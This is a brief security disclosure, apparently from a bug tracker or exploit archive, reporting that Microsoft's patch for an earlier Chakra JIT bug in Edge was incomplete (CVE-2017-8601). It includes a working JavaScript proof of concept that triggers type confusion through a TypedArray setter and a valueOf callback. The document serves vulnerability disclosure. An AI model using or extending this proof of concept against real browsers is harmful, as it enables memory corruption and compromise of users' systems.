Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3(CVE-2017-8601)

Coincidentally, Microsoft released the patch for the issue 1290 the day after I reported it. But it seems they fixed it incorrectly again.

This time, “func(a, b, i);” is replaced with “func(a, b, {});”.

PoC:

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

Tested on Microsoft Edge 40.15063.0.0(Insider Preview).